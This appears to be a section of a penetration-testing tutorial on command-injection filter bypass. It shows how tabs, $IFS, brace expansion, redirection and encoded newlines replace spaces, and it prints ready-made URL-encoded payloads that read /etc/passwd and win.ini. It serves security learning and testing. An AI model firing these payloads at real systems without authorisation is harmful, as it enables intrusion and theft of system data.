Many apps strip or reject spaces to prevent command injection. Fortunately, shells accept several alternate separators that have the same effect.
Tabs
Both Linux and Windows accept tabs between command arguments. URL-encode as %09:
127.0.0.1%0a%09ls
The %0a separates commands, %09 substitutes the space between ls and any arguments.
Most filters only check for literal ASCII space (0x20) and miss tab.
$IFS — Internal Field Separator
Bash’s $IFS variable defaults to space-tab-newline. Using it directly in a command gives you a space without typing one:
cat$IFS/etc/passwdWorks in nearly any bash context. Variants if $IFS alone fails:
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd # $9 is empty — just an anchor that lets $IFS parse right
{cat,/etc/passwd} # comma-delimited (see brace expansion below)Bash Brace Expansion
Bash expands comma-separated values inside {} to space-separated arguments:
{ls,-la} # same as: ls -la
{cat,/etc/passwd} # same as: cat /etc/passwd
{echo,hello,world} # same as: echo hello worldNo spaces required anywhere. URL-encoded:
127.0.0.1%0a{ls,-la}
127.0.0.1%0a{cat,/etc/passwd}
Angle Brackets (Linux)
Redirect operators can replace spaces in some contexts:
cat</etc/passwd # read /etc/passwd via stdinThe < redirects a file as input to cat — no space needed between command and target.
Newlines (%0a)
Newline is a command separator and a space alternative in some contexts. If ; and && are blocked:
127.0.0.1%0als%09-la
%0a separates commands, %09 handles the space.
Combining Operators
Real payloads chain multiple techniques. A fully space-free injection:
127.0.0.1%0a{cat,/etc/passwd}
127.0.0.1%0acat$IFS/etc/passwd
127.0.0.1%0acat</etc/passwd
All three do the same thing — different filters block different patterns.
Windows Equivalents
Windows is less flexible than Linux for space bypass. Options:
Tabs
%09 works in CMD and PowerShell:
127.0.0.1%0atype%09C:\Windows\win.ini
PowerShell Specifics
PowerShell has fewer tricks — tabs are usually the primary bypass. For CMD-specific scenarios, ^ (caret) can also split tokens:
whoami^(Though caret is more useful for character obfuscation than spacing.)
Methodology
- Try tabs (
%09) first — easiest, universal - Try
$IFSon Linux - Try brace expansion
{cat,file}on Linux - Try
<for file reads without spaces - On Windows, tab is usually the only reliable option
If none work, the filter might be rejecting the whole command entirely rather than just spaces — go back to Identifying Filters and isolate again.
